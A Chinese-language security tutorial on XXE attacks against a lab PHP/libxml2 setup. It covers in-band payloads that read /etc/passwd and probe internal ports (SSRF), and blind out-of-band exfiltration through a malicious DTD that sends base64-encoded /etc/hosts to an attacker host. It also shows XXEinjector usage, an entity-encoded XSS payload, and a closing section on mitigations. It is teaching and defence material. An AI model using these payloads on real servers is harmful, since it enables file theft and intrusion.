文章目录
  1. 1. 有回显攻击
  2. 2. 概念
  3. 3. 无回显攻击
  4. 4. 执行命令
  5. 5. 其他玩法
  6. 6. XXE漏洞修复与防御

XXE攻击那些事

有回显攻击

先做实验再讲概念。目前Kali默认安装的libxml扩展版本是2.9.4 ,解析外部实体时服务器会500。因为libxml2 2.9.4之前版本,parser.c/xmlStringLenDecodeEntities函数存在XML外部实体漏洞,不在验证模式时,可使上下文独立的攻击者读取任意文件或造成拒绝服务。
libxml2.8.0安装参考phithon的Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
FROM vulhub/php:7.1-apache

MAINTAINER phithon <root@leavesongs.com>

RUN apt-get update && apt-get install -y gcc wget

RUN wget http://xmlsoft.org/sources/libxml2-2.8.0.tar.gz -O /home/libxml2-2.8.0.tar.gz

RUN cd /home/ && tar -zxvf libxml2-2.8.0.tar.gz && rm -f /home/libxml2-2.8.0.tar.gz

RUN cd /home/libxml2-2.8.0 && ./configure && make && make install && make clean && cd / && rm -rf /home/libxml2-2.8.0

RUN set -xe \
&& buildDeps=" \
$PHP_EXTRA_BUILD_DEPS \
libcurl4-openssl-dev \
libedit-dev \
libsqlite3-dev \
libssl-dev \
libxml2-dev \
" \
&& apt-get install -y $buildDeps --no-install-recommends && rm -rf /var/lib/apt/lists/* \
\
&& docker-php-source extract \
&& cd /usr/src/php \
&& ./configure \
--with-config-file-path="$PHP_INI_DIR" \
--with-config-file-scan-dir="$PHP_INI_DIR/conf.d" \
\
--disable-cgi \
\
# --enable-ftp is included here because ftp_ssl_connect() needs ftp to be compiled statically (see https://github.com/docker-library/php/issues/236)
--enable-ftp \
# --enable-mbstring is included here because otherwise there's no way to get pecl to use it properly (see https://github.com/docker-library/php/issues/195)
--enable-mbstring \
# --enable-mysqlnd is included here because it's harder to compile after the fact than extensions are (since it's a plugin for several extensions, not an extension in itself)
--enable-mysqlnd \
\
--with-curl \
--with-libedit \
--with-openssl \
--with-zlib \
\
$PHP_EXTRA_CONFIGURE_ARGS \
&& make -j "$(nproc)" \
&& make install \
&& { find /usr/local/bin /usr/local/sbin -type f -executable -exec strip --strip-all '{}' + || true; } \
&& make clean \
&& docker-php-source delete \
\
&& apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false $buildDeps wget

这里我直接用的Docker搭建实验环境,项目地址。安装了Dokcer的ubuntu作为被攻击者,Kali作为攻击机。

ubuntu受害机运行vulhub的Docker镜像后,在挂载的目录www下添加test.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();

# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;

echo "You have logged in as user $user";
?>

Kali此时运行可以看到回显

1
2
curl -d @tmp.txt http://192.168.146.130/test.php
回显:You have logged in as user Ed

POST过去的tmp.txt的内容为

1
2
3
4
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>

显然这里如果是真实的场景,我们可以通过抓包修改POST的内容达到XXE注入的效果。这里我直接修改tmp.txt的内容为

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

再次执行命令看到回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
curl -d @tmp.txt http://192.168.146.130/test.php
回显:You have logged in as user root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

如果此时将抓包内容改为

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:81/" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

可以达到SSRF的效果

1
2
<b>Warning</b>:  DOMDocument::loadXML(http://127.0.0.1:81/): failed to open stream: Connection refused in <b>/var/www/html/test.php</b> on line <b>5</b><br />
<br />

概念

这时可以开始了解一些概念。

  1. 按实体声明的位置分为内部实体、外部实体。
    内部实体
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <!ENTITY entity_name "entity_value">
    例子:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <!DOCTYPE address [
    <!ELEMENT address (#PCDATA)>
    <!ENTITY name "Tanmay patil">
    <!ENTITY company "TutorialsPoint">
    <!ENTITY phone_no "(011) 123-4567">
    ]>
    <address>
    &name;
    &company;
    &phone_no;
    </address>

保存为xml丢到浏览器就可以看到替换效果

而外部实体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!ENTITY name SYSTEM "URI/URL">
<!ENTITY name PUBLIC "public_ID" "URI">
例子:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE address [
<!ELEMENT address (#PCDATA)>
<!ENTITY name "Tanmay patil">
<!ENTITY company "TutorialsPoint">
<!ENTITY phone_no "(011) 123-4567">
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<address>
&name;
&company;
&phone_no;
&writer;
</address>
这里的 URI/URL 可以是 http链接, file://本地文件引用 等,因此可以加载http指向的资源 和 本地文件。

2.因为实体值不能是’&’,’%’或’”‘等字符,按照功用实体分为

  • 内置实体:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    &符号:&amp;

    单引号:'

    大于:&gt;

    小于:&lt;

    双引号:“
  • 字符实体

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE author[
<!ELEMENT author (#PCDATA)>
<!ENTITY writer "Tanmay patil">
<!ENTITY copyright "&#169;">
]>
<author>&writer;&copyright;</author>
&#169;即为字符实体
  • 一般实体
    上面的例子全是一般实体,引用啥就是啥

  • 参数实体

    1
    <!ENTITY % ename "entity_value">

把实体参数化,方便从其他地方的DTD文件中引用新的 实体。

内置实体、字符实体和HTML中的实体很类似,一般实体针对本DTD,参数实体针对引用外部DTD。参考资料

PS.内置实体、字符实体可以运用到XSS中,如

1
2
可执行:<svg/onload=&#97;&#108;&#101;&#114;&#116;&#40;/XSS/&#41;></svg>
不可执行:<script>alert&#40;1)</script>

无回显攻击

修改test.php去掉回显语句

1
2
3
4
5
6
7
8
9
10
<?php 
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $creds = simplexml_import_dom($dom);
// $user = $creds->user;
// $pass = $creds->pass;
// echo "You have logged in as user $user";
?>

因为无法直接将要读取的文件内容发送到服务器,所以通过将读取到的文件内容保存到变量,然后将变量代入到url中传给远端服务器,从日志中提取信息。其实也就是使用传统的带外攻击。

使用工具XXEinjector 完成带外攻击。

1
2
3
git clone https://github.com/enjoiz/XXEinjector.git

cd XXEinjector

代理到burp抓包

1
curl -d @tmp.txt http://192.168.146.130/test.php --proxy http://127.0.0.1:8080

tmp.txt内容为

1
2
3
4
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>

抓到的包为

1
2
3
4
5
6
7
8
9
POST /test.php HTTP/1.1
Host: 192.168.146.130
User-Agent: curl/7.56.1
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Connection: close

<creds> <user>Ed</user> <pass>mypass</pass></creds>

在需要注入 DTD 的地方加入 XXEINJECT,然后保存到 phprequest.txt

1
2
3
4
5
6
7
8
9
10
POST /test.php HTTP/1.1
Host: 192.168.146.130
User-Agent: curl/7.56.1
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
Connection: close

XXEINJECT
<creds> <user>Ed</user> <pass>mypass</pass></creds>

使用工具,host为回连主机IP,path为要读取的文件或目录,file为原始有效的请求信息,可以使用 XXEINJECT 来指出 DTD 要注入的位置,oob为使用的协议,支持 http/ftp/gopher,这里使用http,phpfilter为使用 PHP filter 对要读取的内容进行 base64 编码,解决传输文件内容时的编码问题

1
sudo ruby XXEinjector.rb --host=192.168.146.128  --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8080  --oob=http --verbose --phpfilter

抓到发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /test.php HTTP/1.1

User-Agent: curl/7.56.1

Accept: */*

Content-Length: 163

Content-Type: application/x-www-form-urlencoded

Connection: close

Accept-Encoding: gzip, deflate

Host: 192.168.146.130



<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.146.128:80/file.dtd">%remote;%int;%trick;]>
<creds> <user>Ed</user> <pass>mypass</pass></creds>

恶意DTD文件file.dtd内容为

1
2
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.146.128:80/?p=%payl;'>">

实体值不能为%,被转换为

1
&#37;

此处payload也可以是

1
<!ENTITY % bbb SYSTEM "file:///etc/hosts"><!ENTITY % ccc "<!ENTITY &#37; ddd SYSTEM 'ftp://fakeuser:%bbb;@192.168.146.128:2121/b'>">

但是因为没有编码,无法传输特殊符号,功能十分受限

根据不同环境可以做出不同的利用方法

libxml2 php Java .NET
ftp ftp http file
http file https http
file http ftp https
X php jar ftp
X compress.zlib netdoc
X compress.bzlib2 mailto
X data gopher
X glob file
X phar

攻击成功后文件内容保存在Logs目录下

1
2
3
4
5
Response with file/directory content received:
GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAo6OjEJbG9jYWxob3N0IGlwNi1sb2NhbGhvc3QgaXA2LWxvb3BiYWNrCmZlMDA6OjAJaXA2LWxvY2FsbmV0CmZmMDA6OjAJaXA2LW1jYXN0cHJlZml4CmZmMDI6OjEJaXA2LWFsbG5vZGVzCmZmMDI6OjIJaXA2LWFsbHJvdXRlcnMKMTcyLjE4LjAuMgkwNTM5ZGMxMDdkYWYK HTTP/1.0

Enumeration unlocked.
Successfully logged file: /etc/hosts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/XXEinjector# cat Logs/192.168.146.130/etc/hosts.log 
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 0539dc107daf
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 0539dc107daf

执行命令

需要用到expect扩展,打开官网发现应该是不支持php7了,而vulhub里的Docker使用的是php7

其他玩法

  1. 通过目标机器发起请求获取真实IP
  2. DOS
  3. 某些场景,修改Content-type,由application/json改为application/xml,完成XXE,参考

  4. 如果想要改造这个工具来递归获取目标机器的文件,测试了一下,一般的php环境貌似不可行,而java环境很有可能成功。java环境搭建方法在,需要安装maven(sudo apt-get install maven)。

XXE漏洞修复与防御

1
2
3
4
5
6
7
8
9
10
11
PHP
libxml_disable_entity_loader(true);
JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

参考链接:

文章目录
  1. 1. 有回显攻击
  2. 2. 概念
  3. 3. 无回显攻击
  4. 4. 执行命令
  5. 5. 其他玩法
  6. 6. XXE漏洞修复与防御